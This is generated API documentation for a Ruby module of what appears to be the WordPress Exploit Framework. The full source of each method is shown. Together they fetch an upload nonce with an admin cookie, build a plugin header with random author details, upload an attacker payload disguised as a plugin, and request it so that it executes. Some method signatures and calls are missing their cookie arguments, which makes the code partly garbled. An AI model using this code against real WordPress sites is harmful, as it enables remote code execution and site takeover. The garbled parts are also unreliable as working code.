Module: Wpxf::WordPress::Plugin
- Included in:
- Xss
- Defined in:
- lib/wpxf/wordpress/plugin.rb
Overview
Provides functionality required to interact with the plugin system.
Instance Method Summary collapse
-
#fetch_plugin_upload_nonce(cookie) ⇒ String?
Retrieve a valid nonce to use for plugin uploads.
-
#generate_wordpress_plugin_header(plugin_name) ⇒ String
Generate a valid WordPress plugin header / base file.
-
#upload_payload_as_plugin(name, payload_name, cookie) ⇒ Boolean
Create and upload a plugin that encapsulates the current payload.
-
#upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie) ⇒ HttpResponse?
Upload and execute a payload as a plugin.
Instance Method Details
#fetch_plugin_upload_nonce(cookie) ⇒ String?
Retrieve a valid nonce to use for plugin uploads.
8 9 10 11 12 |
# File 'lib/wpxf/wordpress/plugin.rb', line 8 def fetch_plugin_upload_nonce() res = execute_get_request(url: wordpress_url_plugin_upload, cookie: ) return nil unless res&.code == 200 res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] end |
#generate_wordpress_plugin_header(plugin_name) ⇒ String
Generate a valid WordPress plugin header / base file.
50 51 52 53 54 55 56 57 58 59 60 |
# File 'lib/wpxf/wordpress/plugin.rb', line 50 def generate_wordpress_plugin_header(plugin_name) ['<?php', '/**', "* Plugin Name: #{plugin_name}", "* Version: #{_generate_wordpress_plugin_version}", "* Author: #{Wpxf::Utility::Text.rand_alpha(10)}", "* Author URI: http://#{Wpxf::Utility::Text.rand_alpha(10)}.com", '* License: GPL2', '*/', '?>'].join("\n") end |
#upload_payload_as_plugin(name, payload_name, cookie) ⇒ Boolean
Create and upload a plugin that encapsulates the current payload.
19 20 21 22 23 24 25 |
# File 'lib/wpxf/wordpress/plugin.rb', line 19 def upload_payload_as_plugin(name, payload_name, ) nonce = fetch_plugin_upload_nonce() return false if nonce.nil? res = _upload_plugin(name, payload_name, , nonce) res&.code == 200 end |
#upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie) ⇒ HttpResponse?
Upload and execute a payload as a plugin.
32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
# File 'lib/wpxf/wordpress/plugin.rb', line 32 def upload_payload_as_plugin_and_execute(plugin_name, payload_name, ) unless upload_payload_as_plugin(plugin_name, payload_name, ) emit_error 'Failed to upload the payload' return nil end payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") emit_info "Executing the payload at #{payload_url}..." res = execute_get_request(url: payload_url) has_body = res&.code == 200 && !res.body.strip.empty? emit_success "Result: #{res.body}" if has_body res end |